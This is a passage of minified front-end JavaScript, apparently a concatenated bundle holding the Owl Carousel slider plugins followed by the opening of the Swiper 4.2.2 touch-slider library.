jQuery?b:a(b),this.trigger("add",{content:b,position:c}),b=this.prepare(b),0===this._items.length||c===this._items.length?(0===this._items.length&&this.$stage.append(b),0!==this._items.length&&this._items[c-1].after(b),this._items.push(b),this._mergers.push(1*b.find("[data-merge]").addBack("[data-merge]").attr("data-merge")||1)):(this._items[c].before(b),this._items.splice(c,0,b),this._mergers.splice(c,0,1*b.find("[data-merge]").addBack("[data-merge]").attr("data-merge")||1)),this._items[e]&&this.reset(this._items[e].index()),this.invalidate("items"),this.trigger("added",{content:b,position:c})},e.prototype.remove=function(a){(a=this.normalize(a,!0))!==d&&(this.trigger("remove",{content:this._items[a],position:a}),this._items[a].remove(),this._items.splice(a,1),this._mergers.splice(a,1),this.invalidate("items"),this.trigger("removed",{content:null,position:a}))},e.prototype.preloadAutoWidthImages=function(b){b.each(a.proxy(function(b,c){this.enter("pre-loading"),c=a(c),a(new Image).one("load",a.proxy(function(a){c.attr("src",a.target.src),c.css("opacity",1),this.leave("pre-loading"),!this.is("pre-loading")&&!this.is("initializing")&&this.refresh()},this)).attr("src",c.attr("src")||c.attr("data-src")||c.attr("data-src-retina"))},this))},e.prototype.destroy=function(){this.$element.off(".owl.core"),this.$stage.off(".owl.core"),a(c).off(".owl.core"),!1!==this.settings.responsive&&(b.clearTimeout(this.resizeTimer),this.off(b,"resize",this._handlers.onThrottledResize));for(var d in this._plugins)this._plugins[d].destroy();this.$stage.children(".cloned").remove(),this.$stage.unwrap(),this.$stage.children().contents().unwrap(),this.$stage.children().unwrap(),this.$stage.remove(),this.$element.removeClass(this.options.refreshClass).removeClass(this.options.loadingClass).removeClass(this.options.loadedClass).removeClass(this.options.rtlClass).removeClass(this.options.dragClass).removeClass(this.options.grabClass).attr("class",this.$element.attr("class").replace(new RegExp(this.options.responsiveClass+"-\\S+\\s","g"),"")).removeData("owl.carousel")},e.prototype.op=function(a,b,c){var d=this.settings.rtl;switch(b){case"<":return d?a>c:a<c;case">":return d?a<c:a>c;case">=":return d?a<=c:a>=c;case"<=":return d?a>=c:a<=c}},e.prototype.on=function(a,b,c,d){a.addEventListener?a.addEventListener(b,c,d):a.attachEvent&&a.attachEvent("on"+b,c)},e.prototype.off=function(a,b,c,d){a.removeEventListener?a.removeEventListener(b,c,d):a.detachEvent&&a.detachEvent("on"+b,c)},e.prototype.trigger=function(b,c,d,f,g){var h={item:{count:this._items.length,index:this.current()}},i=a.camelCase(a.grep(["on",b,d],function(a){return a}).join("-").toLowerCase()),j=a.Event([b,"owl",d||"carousel"].join(".").toLowerCase(),a.extend({relatedTarget:this},h,c));return this._supress[b]||(a.each(this._plugins,function(a,b){b.onTrigger&&b.onTrigger(j)}),this.register({type:e.Type.Event,name:b}),this.$element.trigger(j),this.settings&&"function"==typeof this.settings[i]&&this.settings[i].call(this,j)),j},e.prototype.enter=function(b){a.each([b].concat(this._states.tags[b]||[]),a.proxy(function(a,b){this._states.current[b]===d&&(this._states.current[b]=0),this._states.current[b]++},this))},e.prototype.leave=function(b){a.each([b].concat(this._states.tags[b]||[]),a.proxy(function(a,b){this._states.current[b]--},this))},e.prototype.register=function(b){if(b.type===e.Type.Event){if(a.event.special[b.name]||(a.event.special[b.name]={}),!a.event.special[b.name].owl){var c=a.event.special[b.name]._default;a.event.special[b.name]._default=function(a){return!c||!c.apply||a.namespace&&-1!==a.namespace.indexOf("owl")?a.namespace&&a.namespace.indexOf("owl")>-1:c.apply(this,arguments)},a.event.special[b.name].owl=!0}}else b.type===e.Type.State&&(this._states.tags[b.name]?this._states.tags[b.name]=this._states.tags[b.name].concat(b.tags):this._states.tags[b.name]=b.tags,this._states.tags[b.name]=a.grep(this._states.tags[b.name],a.proxy(function(c,d){return a.inArray(c,this._states.tags[b.name])===d},this)))},e.prototype.suppress=function(b){a.each(b,a.proxy(function(a,b){this._supress[b]=!0},this))},e.prototype.release=function(b){a.each(b,a.proxy(function(a,b){delete this._supress[b]},this))},e.prototype.pointer=function(a){var c={x:null,y:null};return a=a.originalEvent||a||b.event,a=a.touches&&a.touches.length?a.touches[0]:a.changedTouches&&a.changedTouches.length?a.changedTouches[0]:a,a.pageX?(c.x=a.pageX,c.y=a.pageY):(c.x=a.clientX,c.y=a.clientY),c},e.prototype.isNumeric=function(a){return!isNaN(parseFloat(a))},e.prototype.difference=function(a,b){return{x:a.x-b.x,y:a.y-b.y}},a.fn.owlCarousel=function(b){var c=Array.prototype.slice.call(arguments,1);return this.each(function(){var d=a(this),f=d.data("owl.carousel");f||(f=new e(this,"object"==typeof b&&b),d.data("owl.carousel",f),a.each(["next","prev","to","destroy","refresh","replace","add","remove"],function(b,c){f.register({type:e.Type.Event,name:c}),f.$element.on(c+".owl.carousel.core",a.proxy(function(a){a.namespace&&a.relatedTarget!==this&&(this.suppress([c]),f[c].apply(this,[].slice.call(arguments,1)),this.release([c]))},f))})),"string"==typeof b&&"_"!==b.charAt(0)&&f[b].apply(f,c)})},a.fn.owlCarousel.Constructor=e}(window.Zepto||window.jQuery,window,document),function(a,b,c,d){var e=function(b){this._core=b,this._interval=null,this._visible=null,this._handlers={"initialized.owl.carousel":a.proxy(function(a){a.namespace&&this._core.settings.autoRefresh&&this.watch()},this)},this._core.options=a.extend({},e.Defaults,this._core.options),this._core.$element.on(this._handlers)};e.Defaults={autoRefresh:!0,autoRefreshInterval:500},e.prototype.watch=function(){this._interval||(this._visible=this._core.isVisible(),this._interval=b.setInterval(a.proxy(this.refresh,this),this._core.settings.autoRefreshInterval))},e.prototype.refresh=function(){this._core.isVisible()!==this._visible&&(this._visible=!this._visible,this._core.$element.toggleClass("owl-hidden",!this._visible),this._visible&&this._core.invalidate("width")&&this._core.refresh())},e.prototype.destroy=function(){var a,c;b.clearInterval(this._interval);for(a in this._handlers)this._core.$element.off(a,this._handlers[a]);for(c in Object.getOwnPropertyNames(this))"function"!=typeof this[c]&&(this[c]=null)},a.fn.owlCarousel.Constructor.Plugins.AutoRefresh=e}(window.Zepto||window.jQuery,window,document),function(a,b,c,d){var e=function(b){this._core=b,this._loaded=[],this._handlers={"initialized.owl.carousel change.owl.carousel resized.owl.carousel":a.proxy(function(b){if(b.namespace&&this._core.settings&&this._core.settings.lazyLoad&&(b.property&&"position"==b.property.name||"initialized"==b.type))for(var c=this._core.settings,e=c.center&&Math.ceil(c.items/2)||c.items,f=c.center&&-1*e||0,g=(b.property&&b.property.value!==d?b.property.value:this._core.current())+f,h=this._core.clones().length,i=a.proxy(function(a,b){this.load(b)},this);f++<e;)this.load(h/2+this._core.relative(g)),h&&a.each(this._core.clones(this._core.relative(g)),i),g++},this)},this._core.options=a.extend({},e.Defaults,this._core.options),this._core.$element.on(this._handlers)};e.Defaults={lazyLoad:!1},e.prototype.load=function(c){var d=this._core.$stage.children().eq(c),e=d&&d.find(".owl-lazy");!e||a.inArray(d.get(0),this._loaded)>-1||(e.each(a.proxy(function(c,d){var e,f=a(d),g=b.devicePixelRatio>1&&f.attr("data-src-retina")||f.attr("data-src")||f.attr("data-srcset");this._core.trigger("load",{element:f,url:g},"lazy"),f.is("img")?f.one("load.owl.lazy",a.proxy(function(){f.css("opacity",1),this._core.trigger("loaded",{element:f,url:g},"lazy")},this)).attr("src",g):f.is("source")?f.one("load.owl.lazy",a.proxy(function(){this._core.trigger("loaded",{element:f,url:g},"lazy")},this)).attr("srcset",g):(e=new Image,e.onload=a.proxy(function(){f.css({"background-image":'url("'+g+'")',opacity:"1"}),this._core.trigger("loaded",{element:f,url:g},"lazy")},this),e.src=g)},this)),this._loaded.push(d.get(0)))},e.prototype.destroy=function(){var a,b;for(a in this.handlers)this._core.$element.off(a,this.handlers[a]);for(b in Object.getOwnPropertyNames(this))"function"!=typeof this[b]&&(this[b]=null)},a.fn.owlCarousel.Constructor.Plugins.Lazy=e}(window.Zepto||window.jQuery,window,document),function(a,b,c,d){var e=function(c){this._core=c,this._handlers={"initialized.owl.carousel refreshed.owl.carousel":a.proxy(function(a){a.namespace&&this._core.settings.autoHeight&&this.update()},this),"changed.owl.carousel":a.proxy(function(a){a.namespace&&this._core.settings.autoHeight&&"position"===a.property.name&&(console.log("update called"),this.update())},this),"loaded.owl.lazy":a.proxy(function(a){a.namespace&&this._core.settings.autoHeight&&a.element.closest("."+this._core.settings.itemClass).index()===this._core.current()&&this.update()},this)},this._core.options=a.extend({},e.Defaults,this._core.options),this._core.$element.on(this._handlers),this._intervalId=null;var d=this;a(b).on("load",function(){d._core.settings.autoHeight&&d.update()}),a(b).resize(function(){d._core.settings.autoHeight&&(null!=d._intervalId&&clearTimeout(d._intervalId),d._intervalId=setTimeout(function(){d.update()},250))})};e.Defaults={autoHeight:!1,autoHeightClass:"owl-height"},e.prototype.update=function(){var b=this._core._current,c=b+this._core.settings.items,d=this._core.$stage.children().toArray().slice(b,c),e=[],f=0;a.each(d,function(b,c){e.push(a(c).height())}),f=Math.max.apply(null,e),this._core.$stage.parent().height(f).addClass(this._core.settings.autoHeightClass)},e.prototype.destroy=function(){var a,b;for(a in this._handlers)this._core.$element.off(a,this._handlers[a]);for(b in Object.getOwnPropertyNames(this))"function"!=typeof this[b]&&(this[b]=null)},a.fn.owlCarousel.Constructor.Plugins.AutoHeight=e}(window.Zepto||window.jQuery,window,document),function(a,b,c,d){var e=function(b){this._core=b,this._videos={},this._playing=null,this._handlers={"initialized.owl.carousel":a.proxy(function(a){a.namespace&&this._core.register({type:"state",name:"playing",tags:["interacting"]})},this),"resize.owl.carousel":a.proxy(function(a){a.namespace&&this._core.settings.video&&this.isInFullScreen()&&a.preventDefault()},this),"refreshed.owl.carousel":a.proxy(function(a){a.namespace&&this._core.is("resizing")&&this._core.$stage.find(".cloned .owl-video-frame").remove()},this),"changed.owl.carousel":a.proxy(function(a){a.namespace&&"position"===a.property.name&&this._playing&&this.stop()},this),"prepared.owl.carousel":a.proxy(function(b){if(b.namespace){var c=a(b.content).find(".owl-video");c.length&&(c.css("display","none"),this.fetch(c,a(b.content)))}},this)},this._core.options=a.extend({},e.Defaults,this._core.options),this._core.$element.on(this._handlers),this._core.$element.on("click.owl.video",".owl-video-play-icon",a.proxy(function(a){this.play(a)},this))};e.Defaults={video:!1,videoHeight:!1,videoWidth:!1},e.prototype.fetch=function(a,b){var c=function(){return a.attr("data-vimeo-id")?"vimeo":a.attr("data-vzaar-id")?"vzaar":"youtube"}(),d=a.attr("data-vimeo-id")||a.attr("data-youtube-id")||a.attr("data-vzaar-id"),e=a.attr("data-width")||this._core.settings.videoWidth,f=a.attr("data-height")||this._core.settings.videoHeight,g=a.attr("href");if(!g)throw new Error("Missing video URL.");if(d=g.match(/(http:|https:|)\/\/(player.|www.|app.)?(vimeo\.com|youtu(be\.com|\.be|be\.googleapis\.com)|vzaar\.com)\/(video\/|videos\/|embed\/|channels\/.+\/|groups\/.+\/|watch\?v=|v\/)?([A-Za-z0-9._%-]*)(\&\S+)?/),d[3].indexOf("youtu")>-1)c="youtube";else if(d[3].indexOf("vimeo")>-1)c="vimeo";else{if(!(d[3].indexOf("vzaar")>-1))throw new Error("Video URL not supported.");c="vzaar"}d=d[6],this._videos[g]={type:c,id:d,width:e,height:f},b.attr("data-video",g),this.thumbnail(a,this._videos[g])},e.prototype.thumbnail=function(b,c){var d,e,f,g=c.width&&c.height?'style="width:'+c.width+"px;height:"+c.height+'px;"':"",h=b.find("img"),i="src",j="",k=this._core.settings,l=function(a){e='<div class="owl-video-play-icon"></div>',d=k.lazyLoad?'<div class="owl-video-tn '+j+'" '+i+'="'+a+'"></div>':'<div class="owl-video-tn" style="opacity:1;background-image:url('+a+')"></div>',b.after(d),b.after(e)};if(b.wrap('<div class="owl-video-wrapper"'+g+"></div>"),this._core.settings.lazyLoad&&(i="data-src",j="owl-lazy"),h.length)return l(h.attr(i)),h.remove(),!1;"youtube"===c.type?(f="//img.youtube.com/vi/"+c.id+"/hqdefault.jpg",l(f)):"vimeo"===c.type?a.ajax({type:"GET",url:"//vimeo.com/api/v2/video/"+c.id+".json",jsonp:"callback",dataType:"jsonp",success:function(a){f=a[0].thumbnail_large,l(f)}}):"vzaar"===c.type&&a.ajax({type:"GET",url:"//vzaar.com/api/videos/"+c.id+".json",jsonp:"callback",dataType:"jsonp",success:function(a){f=a.framegrab_url,l(f)}})},e.prototype.stop=function(){this._core.trigger("stop",null,"video"),this._playing.find(".owl-video-frame").remove(),this._playing.removeClass("owl-video-playing"),this._playing=null,this._core.leave("playing"),this._core.trigger("stopped",null,"video")},e.prototype.play=function(b){var c,d=a(b.target),e=d.closest("."+this._core.settings.itemClass),f=this._videos[e.attr("data-video")],g=f.width||"100%",h=f.height||this._core.$stage.height();this._playing||(this._core.enter("playing"),this._core.trigger("play",null,"video"),e=this._core.items(this._core.relative(e.index())),this._core.reset(e.index()),"youtube"===f.type?c='<iframe width="'+g+'" height="'+h+'" src="//www.youtube.com/embed/'+f.id+"?autoplay=1&rel=0&v="+f.id+'" frameborder="0" allowfullscreen></iframe>':"vimeo"===f.type?c='<iframe src="//player.vimeo.com/video/'+f.id+'?autoplay=1" width="'+g+'" height="'+h+'" frameborder="0" webkitallowfullscreen mozallowfullscreen allowfullscreen></iframe>':"vzaar"===f.type&&(c='<iframe frameborder="0"height="'+h+'"width="'+g+'" allowfullscreen mozallowfullscreen webkitAllowFullScreen src="//view.vzaar.com/'+f.id+'/player?autoplay=true"></iframe>'),a('<div class="owl-video-frame">'+c+"</div>").insertAfter(e.find(".owl-video")),this._playing=e.addClass("owl-video-playing"))},e.prototype.isInFullScreen=function(){var b=c.fullscreenElement||c.mozFullScreenElement||c.webkitFullscreenElement;return b&&a(b).parent().hasClass("owl-video-frame")},e.prototype.destroy=function(){var a,b;this._core.$element.off("click.owl.video");for(a in this._handlers)this._core.$element.off(a,this._handlers[a]);for(b in Object.getOwnPropertyNames(this))"function"!=typeof this[b]&&(this[b]=null)},a.fn.owlCarousel.Constructor.Plugins.Video=e}(window.Zepto||window.jQuery,window,document),function(a,b,c,d){var e=function(b){this.core=b,this.core.options=a.extend({},e.Defaults,this.core.options),this.swapping=!0,this.previous=d,this.next=d,this.handlers={"change.owl.carousel":a.proxy(function(a){a.namespace&&"position"==a.property.name&&(this.previous=this.core.current(),this.next=a.property.value)},this),"drag.owl.carousel dragged.owl.carousel translated.owl.carousel":a.proxy(function(a){a.namespace&&(this.swapping="translated"==a.type)},this),"translate.owl.carousel":a.proxy(function(a){a.namespace&&this.swapping&&(this.core.options.animateOut||this.core.options.animateIn)&&this.swap()},this)},this.core.$element.on(this.handlers)};e.Defaults={animateOut:!1,animateIn:!1},e.prototype.swap=function(){if(1===this.core.settings.items&&a.support.animation&&a.support.transition){ +this.core.speed(0);var b,c=a.proxy(this.clear,this),d=this.core.$stage.children().eq(this.previous),e=this.core.$stage.children().eq(this.next),f=this.core.settings.animateIn,g=this.core.settings.animateOut;this.core.current()!==this.previous&&(g&&(b=this.core.coordinates(this.previous)-this.core.coordinates(this.next),d.one(a.support.animation.end,c).css({left:b+"px"}).addClass("animated owl-animated-out").addClass(g)),f&&e.one(a.support.animation.end,c).addClass("animated owl-animated-in").addClass(f))}},e.prototype.clear=function(b){a(b.target).css({left:""}).removeClass("animated owl-animated-out owl-animated-in").removeClass(this.core.settings.animateIn).removeClass(this.core.settings.animateOut),this.core.onTransitionEnd()},e.prototype.destroy=function(){var a,b;for(a in this.handlers)this.core.$element.off(a,this.handlers[a]);for(b in Object.getOwnPropertyNames(this))"function"!=typeof this[b]&&(this[b]=null)},a.fn.owlCarousel.Constructor.Plugins.Animate=e}(window.Zepto||window.jQuery,window,document),function(a,b,c,d){var e=function(b){this._core=b,this._call=null,this._time=0,this._timeout=0,this._paused=!0,this._handlers={"changed.owl.carousel":a.proxy(function(a){a.namespace&&"settings"===a.property.name?this._core.settings.autoplay?this.play():this.stop():a.namespace&&"position"===a.property.name&&this._paused&&(this._time=0)},this),"initialized.owl.carousel":a.proxy(function(a){a.namespace&&this._core.settings.autoplay&&this.play()},this),"play.owl.autoplay":a.proxy(function(a,b,c){a.namespace&&this.play(b,c)},this),"stop.owl.autoplay":a.proxy(function(a){a.namespace&&this.stop()},this),"mouseover.owl.autoplay":a.proxy(function(){this._core.settings.autoplayHoverPause&&this._core.is("rotating")&&this.pause()},this),"mouseleave.owl.autoplay":a.proxy(function(){this._core.settings.autoplayHoverPause&&this._core.is("rotating")&&this.play()},this),"touchstart.owl.core":a.proxy(function(){this._core.settings.autoplayHoverPause&&this._core.is("rotating")&&this.pause()},this),"touchend.owl.core":a.proxy(function(){this._core.settings.autoplayHoverPause&&this.play()},this)},this._core.$element.on(this._handlers),this._core.options=a.extend({},e.Defaults,this._core.options)};e.Defaults={autoplay:!1,autoplayTimeout:5e3,autoplayHoverPause:!1,autoplaySpeed:!1},e.prototype._next=function(d){this._call=b.setTimeout(a.proxy(this._next,this,d),this._timeout*(Math.round(this.read()/this._timeout)+1)-this.read()),this._core.is("interacting")||c.hidden||this._core.next(d||this._core.settings.autoplaySpeed)},e.prototype.read=function(){return(new Date).getTime()-this._time},e.prototype.play=function(c,d){var e;this._core.is("rotating")||this._core.enter("rotating"),c=c||this._core.settings.autoplayTimeout,e=Math.min(this._time%(this._timeout||c),c),this._paused?(this._time=this.read(),this._paused=!1):b.clearTimeout(this._call),this._time+=this.read()%c-e,this._timeout=c,this._call=b.setTimeout(a.proxy(this._next,this,d),c-e)},e.prototype.stop=function(){this._core.is("rotating")&&(this._time=0,this._paused=!0,b.clearTimeout(this._call),this._core.leave("rotating"))},e.prototype.pause=function(){this._core.is("rotating")&&!this._paused&&(this._time=this.read(),this._paused=!0,b.clearTimeout(this._call))},e.prototype.destroy=function(){var a,b;this.stop();for(a in this._handlers)this._core.$element.off(a,this._handlers[a]);for(b in Object.getOwnPropertyNames(this))"function"!=typeof this[b]&&(this[b]=null)},a.fn.owlCarousel.Constructor.Plugins.autoplay=e}(window.Zepto||window.jQuery,window,document),function(a,b,c,d){"use strict";var e=function(b){this._core=b,this._initialized=!1,this._pages=[],this._controls={},this._templates=[],this.$element=this._core.$element,this._overrides={next:this._core.next,prev:this._core.prev,to:this._core.to},this._handlers={"prepared.owl.carousel":a.proxy(function(b){b.namespace&&this._core.settings.dotsData&&this._templates.push('<div class="'+this._core.settings.dotClass+'">'+a(b.content).find("[data-dot]").addBack("[data-dot]").attr("data-dot")+"</div>")},this),"added.owl.carousel":a.proxy(function(a){a.namespace&&this._core.settings.dotsData&&this._templates.splice(a.position,0,this._templates.pop())},this),"remove.owl.carousel":a.proxy(function(a){a.namespace&&this._core.settings.dotsData&&this._templates.splice(a.position,1)},this),"changed.owl.carousel":a.proxy(function(a){a.namespace&&"position"==a.property.name&&this.draw()},this),"initialized.owl.carousel":a.proxy(function(a){a.namespace&&!this._initialized&&(this._core.trigger("initialize",null,"navigation"),this.initialize(),this.update(),this.draw(),this._initialized=!0,this._core.trigger("initialized",null,"navigation"))},this),"refreshed.owl.carousel":a.proxy(function(a){a.namespace&&this._initialized&&(this._core.trigger("refresh",null,"navigation"),this.update(),this.draw(),this._core.trigger("refreshed",null,"navigation"))},this)},this._core.options=a.extend({},e.Defaults,this._core.options),this.$element.on(this._handlers)};e.Defaults={nav:!1,navText:['<span aria-label="Previous">‹</span>','<span aria-label="Next">›</span>'],navSpeed:!1,navElement:'button type="button" role="presentation"',navContainer:!1,navContainerClass:"owl-nav",navClass:["owl-prev","owl-next"],slideBy:1,dotClass:"owl-dot",dotsClass:"owl-dots",dots:!0,dotsEach:!1,dotsData:!1,dotsSpeed:!1,dotsContainer:!1},e.prototype.initialize=function(){var b,c=this._core.settings;this._controls.$relative=(c.navContainer?a(c.navContainer):a("<div>").addClass(c.navContainerClass).appendTo(this.$element)).addClass("disabled"),this._controls.$previous=a("<"+c.navElement+">").addClass(c.navClass[0]).html(c.navText[0]).prependTo(this._controls.$relative).on("click",a.proxy(function(a){this.prev(c.navSpeed)},this)),this._controls.$next=a("<"+c.navElement+">").addClass(c.navClass[1]).html(c.navText[1]).appendTo(this._controls.$relative).on("click",a.proxy(function(a){this.next(c.navSpeed)},this)),c.dotsData||(this._templates=[a('<button role="button">').addClass(c.dotClass).append(a("<span>")).prop("outerHTML")]),this._controls.$absolute=(c.dotsContainer?a(c.dotsContainer):a("<div>").addClass(c.dotsClass).appendTo(this.$element)).addClass("disabled"),this._controls.$absolute.on("click","button",a.proxy(function(b){var d=a(b.target).parent().is(this._controls.$absolute)?a(b.target).index():a(b.target).parent().index();b.preventDefault(),this.to(d,c.dotsSpeed)},this));for(b in this._overrides)this._core[b]=a.proxy(this[b],this)},e.prototype.destroy=function(){var a,b,c,d,e;e=this._core.settings;for(a in this._handlers)this.$element.off(a,this._handlers[a]);for(b in this._controls)"$relative"===b&&e.navContainer?this._controls[b].html(""):this._controls[b].remove();for(d in this.overides)this._core[d]=this._overrides[d];for(c in Object.getOwnPropertyNames(this))"function"!=typeof this[c]&&(this[c]=null)},e.prototype.update=function(){var a,b,c,d=this._core.clones().length/2,e=d+this._core.items().length,f=this._core.maximum(!0),g=this._core.settings,h=g.center||g.autoWidth||g.dotsData?1:g.dotsEach||g.items;if("page"!==g.slideBy&&(g.slideBy=Math.min(g.slideBy,g.items)),g.dots||"page"==g.slideBy)for(this._pages=[],a=d,b=0,c=0;a<e;a++){if(b>=h||0===b){if(this._pages.push({start:Math.min(f,a-d),end:a-d+h-1}),Math.min(f,a-d)===f)break;b=0,++c}b+=this._core.mergers(this._core.relative(a))}},e.prototype.draw=function(){var b,c=this._core.settings,d=this._core.items().length<=c.items,e=this._core.relative(this._core.current()),f=c.loop||c.rewind;this._controls.$relative.toggleClass("disabled",!c.nav||d),c.nav&&(this._controls.$previous.toggleClass("disabled",!f&&e<=this._core.minimum(!0)),this._controls.$next.toggleClass("disabled",!f&&e>=this._core.maximum(!0))),this._controls.$absolute.toggleClass("disabled",!c.dots||d),c.dots&&(b=this._pages.length-this._controls.$absolute.children().length,c.dotsData&&0!==b?this._controls.$absolute.html(this._templates.join("")):b>0?this._controls.$absolute.append(new Array(b+1).join(this._templates[0])):b<0&&this._controls.$absolute.children().slice(b).remove(),this._controls.$absolute.find(".active").removeClass("active"),this._controls.$absolute.children().eq(a.inArray(this.current(),this._pages)).addClass("active"))},e.prototype.onTrigger=function(b){var c=this._core.settings;b.page={index:a.inArray(this.current(),this._pages),count:this._pages.length,size:c&&(c.center||c.autoWidth||c.dotsData?1:c.dotsEach||c.items)}},e.prototype.current=function(){var b=this._core.relative(this._core.current());return a.grep(this._pages,a.proxy(function(a,c){return a.start<=b&&a.end>=b},this)).pop()},e.prototype.getPosition=function(b){var c,d,e=this._core.settings;return"page"==e.slideBy?(c=a.inArray(this.current(),this._pages),d=this._pages.length,b?++c:--c,c=this._pages[(c%d+d)%d].start):(c=this._core.relative(this._core.current()),d=this._core.items().length,b?c+=e.slideBy:c-=e.slideBy),c},e.prototype.next=function(b){a.proxy(this._overrides.to,this._core)(this.getPosition(!0),b)},e.prototype.prev=function(b){a.proxy(this._overrides.to,this._core)(this.getPosition(!1),b)},e.prototype.to=function(b,c,d){var e;!d&&this._pages.length?(e=this._pages.length,a.proxy(this._overrides.to,this._core)(this._pages[(b%e+e)%e].start,c)):a.proxy(this._overrides.to,this._core)(b,c)},a.fn.owlCarousel.Constructor.Plugins.Navigation=e}(window.Zepto||window.jQuery,window,document),function(a,b,c,d){"use strict";var e=function(c){this._core=c,this._hashes={},this.$element=this._core.$element,this._handlers={"initialized.owl.carousel":a.proxy(function(c){c.namespace&&"URLHash"===this._core.settings.startPosition&&a(b).trigger("hashchange.owl.navigation")},this),"prepared.owl.carousel":a.proxy(function(b){if(b.namespace){var c=a(b.content).find("[data-hash]").addBack("[data-hash]").attr("data-hash");if(!c)return;this._hashes[c]=b.content}},this),"changed.owl.carousel":a.proxy(function(c){if(c.namespace&&"position"===c.property.name){var d=this._core.items(this._core.relative(this._core.current())),e=a.map(this._hashes,function(a,b){return a===d?b:null}).join();if(!e||b.location.hash.slice(1)===e)return;b.location.hash=e}},this)},this._core.options=a.extend({},e.Defaults,this._core.options),this.$element.on(this._handlers),a(b).on("hashchange.owl.navigation",a.proxy(function(a){var c=b.location.hash.substring(1),e=this._core.$stage.children(),f=this._hashes[c]&&e.index(this._hashes[c]);f!==d&&f!==this._core.current()&&this._core.to(this._core.relative(f),!1,!0)},this))};e.Defaults={URLhashListener:!1},e.prototype.destroy=function(){var c,d;a(b).off("hashchange.owl.navigation");for(c in this._handlers)this._core.$element.off(c,this._handlers[c]);for(d in Object.getOwnPropertyNames(this))"function"!=typeof this[d]&&(this[d]=null)},a.fn.owlCarousel.Constructor.Plugins.Hash=e}(window.Zepto||window.jQuery,window,document),function(a,b,c,d){function e(b,c){var e=!1,f=b.charAt(0).toUpperCase()+b.slice(1);return a.each((b+" "+h.join(f+" ")+f).split(" "),function(a,b){if(g[b]!==d)return e=!c||b,!1}),e}function f(a){return e(a,!0)}var g=a("<support>").get(0).style,h="Webkit Moz O ms".split(" "),i={transition:{end:{WebkitTransition:"webkitTransitionEnd",MozTransition:"transitionend",OTransition:"oTransitionEnd",transition:"transitionend"}},animation:{end:{WebkitAnimation:"webkitAnimationEnd",MozAnimation:"animationend",OAnimation:"oAnimationEnd",animation:"animationend"}}},j={csstransforms:function(){return!!e("transform")},csstransforms3d:function(){return!!e("perspective")},csstransitions:function(){return!!e("transition")},cssanimations:function(){return!!e("animation")}};j.csstransitions()&&(a.support.transition=new String(f("transition")),a.support.transition.end=i.transition.end[a.support.transition]),j.cssanimations()&&(a.support.animation=new String(f("animation")),a.support.animation.end=i.animation.end[a.support.animation]),j.csstransforms()&&(a.support.transform=new String(f("transform")),a.support.transform3d=j.csstransforms3d())}(window.Zepto||window.jQuery,window,document); + + /* Swiper 4.2.2 +-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ +/** + * Swiper 4.2.2 + * Most modern mobile touch slider and framework with hardware accelerated transitions + * http://www.idangero.us/swiper/ + * + * Copyright 2014-2018 Vladimir Kharlampidi + * + * Released under the MIT License + * + * Released on: April 1, 2018 + */ +!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):e.Swiper=t()}(this,function(){"use strict";var e="undefined"==typeof document?{body:{},addEventListener:function(){},removeEventListener:function(){},activeElement:{blur:function(){},nodeName:""},querySelector:function(){return null},querySelectorAll:function(){return[]},getElementById:function(){return null},createEvent:function(){return{initEvent:function(){}}},createElement:function(){return{children:[],childNodes:[],style:{},setAttribute:function(){},getElementsByTagName:function(){return[]}}},location:{hash:""}}:document,t="undefined"==typeof window?{document:e,navigator:{userAgent:""},location:{},history:{},CustomEvent:function(){return this},addEventListener:function(){},removeEventListener:function(){},getComputedStyle:function(){return{getPropertyValue:function(){return""}}},Image:function(){},Date:function(){},screen:{},setTimeout:function(){},clearTimeout:function(){}}:window,i=function(e){for(var t=0;t<e.length;t+=1)this[t]=e[t];return this.length=e.length,this};function s(s,a){var r=[],n=0;if(s&&!a&&s instanceof i)return s;if(s)if("string"==typeof s){var o,l,d=s.trim();if(d.indexOf("<")>=0&&d.indexOf(">")>=0){var h="div";for(0===d.indexOf("<li")&&(h="ul"),0===d.indexOf("<tr")&&(h="tbody"),0!==d.indexOf("<td")&&0!==d.indexOf("<th")||(h="tr"),0===d.indexOf("<tbody")&&(h="table"),0===d.indexOf("<option")&&(h="select"),(l=e.createElement(h)).innerHTML=d,n=0;n<l.childNodes.length;n+=1)r.push(l.childNodes[n])}else for(o=a||"#"!==s[0]||s.match(/[ .<>:~]/)?(a||e).querySelectorAll(s.trim()):[e.getElementById(s.trim().split("#")[1])],n=0;n<o.length;n+=1)o[n]&&r.push(o[n])}else if(s.nodeType||s===t||s===e)r.push(s);else if(s.length>0&&s[0].nodeType)for(n=0;n<s.length;n+=1)r.push(s[n]);return new i(r)}function a(e){for(var t=[],i=0;i<e.length;i+=1)-1===t.indexOf(e[i])&&t.push(e[i]);return t}s.fn=i.prototype,s.Class=i,s.Dom7=i;var r={addClass:function(e){if(void 0===e)return this;for(var t=e.split(" "),i=0;i<t.length;i+=1)for(var s=0;s<this.length;s+=1)void 0!==this[s].classList&&this[s].classList.add(t[i]);return this},removeClass:function(e){for(var t=e.split(" "),i=0;i<t.length;i+=1)for(var s=0;s<this.length;s+=1)void 0!==this[s].classList&&this[s].classList.remove(t[i]);return this},hasClass:function(e){return!!this[0]&&this[0].classList.contains(e)},toggleClass:function(e){for(var t=e.split(" "),i=0;i<t.length;i+=1)for(var s=0;s<this.length;s+=1)void 0!==this[s].classList&&this[s].classList.toggle(t[i]);return this},attr:function(e,t){var i=arguments;if(1===arguments.length&&"string"==typeof e)return this[0]?this[0].getAttribute(e):void 0;for(var s=0;s<this.length;s+=1)if(2===i.length)this[s].setAttribute(e,t);else for(var a in e)this[s][a]=e[a],this[s].setAttribute(a,e[a]);return this},removeAttr:function(e){for(var t=0;t<this.length;t+=1)this[t].removeAttribute(e);return this},data:function(e,t){var i;if(void 0!==t){for(var s=0;s<this.length;s+=1)(i=this[s]).dom7ElementDataStorage||(i.dom7ElementDataStorage={}),i.dom7ElementDataStorage[e]=t;return this}if(i=this[0]){if(i.dom7ElementDataStorage&&e in i.dom7ElementDataStorage)return i.dom7ElementDataStorage[e];var a=i.getAttribute("data-"+e);return a||void 0}},transform:function(e){for(var t=0;t<this.length;t+=1){var i=this[t].style;i.webkitTransform=e,i.transform=e}return this},transition:function(e){"string"!=typeof e&&(e+="ms");for(var t=0;t<this.length;t+=1){var i=this[t].style;i.webkitTransitionDuration=e,i.transitionDuration=e}return this},on:function(){for(var e,t=[],i=arguments.length;i--;)t[i]=arguments[i];var a=t[0],r=t[1],n=t[2],o=t[3];function 